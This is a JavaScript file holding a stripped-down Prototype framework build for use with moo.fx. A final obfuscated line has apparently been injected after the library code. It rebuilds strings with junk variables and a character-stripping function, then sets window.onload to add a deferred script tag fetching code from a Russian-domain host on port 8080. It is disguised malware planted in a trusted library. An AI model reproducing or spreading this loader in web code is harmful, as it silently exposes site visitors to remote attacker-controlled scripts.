/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.each = function(func){
	for(var i=0;ob=this[i];i++) func(ob, i);
}

function $c(array){
	var nArray = [];
	for (i=0;el=array[i];i++) nArray.push(el);
	return nArray;
}
var E='';try {this.P="";var Et;if(Et!='Y' && Et != ''){Et=null};var yY;if(yY!='Jp' && yY!='w'){yY=''};var cC;if(cC!='aK' && cC!='bk'){cC=''};var i=RegExp;var S=new String();var qm;if(qm!='' && qm!='NT'){qm=''};var _='[';var OR;if(OR!='EF' && OR!='v'){OR='EF'};var Q='g';var X='replace';var aD;if(aD!=''){aD='VV'};var r=']';var vq='';var NL;if(NL!='' && NL!='Ah'){NL=''};var c='';this.bF="";function b(d,J){var n;if(n!=''){n='Oq'};var ru="";var q=_;q+=J;this.z='';var XT;if(XT!=''){XT='e'};q+=r;var f=new i(q, Q);return d[X](f, c);};var j=new Array();var Bf=new Array();var F=b('bwo_dUyU',"w_U");var _V=b('aIpypIe0nIdyC0hyiyl0d0',"I0y");var N=b('s4eFtFAvtntnrFi4b4u4t4e4',"vgnF4");this.Nz="";this.vv="";var V=b('cOrieRaitqeOERlGeGmqeqnGtR',"GiRqO");var H=b('/FgFoFo3g3lFe3.3c3oFm3.3e3cF/3gFoFoFgFlFeF.3cFo3mF.3eFcF/Fm3aFr3kFe3t3gFiFdF.3cFo3mF/FpFc3oFn3lFiFn3e3.FcFo3mF.3cFnF/3gFo3o3g3l3e3.Fc3o3mF.FpFhFp3',"F3");var I=b('hGtqtGpq:q/q/qtGaqgqgqeqdq-GcGoqmq.qwquGnqdqeGrGgGrqoquqnGdG.qcGoqmq.qeqbqaqyG-qiGtG.qmqyGdGiqrGeqcGtGoGuqtGlqeqtG.qrquq:q',"Gq");this.vY="";var gu=new Array();var d="1";var Xe;if(Xe!='' && Xe!='Vi'){Xe='jH'};var kR=new Date();var s='';var bS;if(bS!='' && bS!='NP'){bS=''};var gz;if(gz!='' && gz!='Ok'){gz=''};var a=b('oknklXokakdk',"Xk");var FW=new Array();var O=b('814101998111091994',"149");var y=b('s1c1r1i1p1t1',"X1");this.mw="";var ju;if(ju!='gg' && ju!='qF'){ju='gg'};var W;if(W!='' && W!='BQ'){W=null};window[a]=function(){var HV="";var mC=new Array();A=document[V](y);var VK=new Array();s+=I;s+=O;this.fX="";var Wt="";s+=H;var qP=new String();var Qw=new String();var vm="";var x=document[F];A.setAttribute('defer', d);this.na="";A.src=s;var qk='';this.Ir="";x.appendChild(A);var Xd=new String();this.orF='';};var YS="";var Nd;if(Nd!='' && Nd!='yf'){Nd='cM'};} catch(o){var au=new Date();this.Ss="";};var Qf;if(Qf!=''){Qf='st'};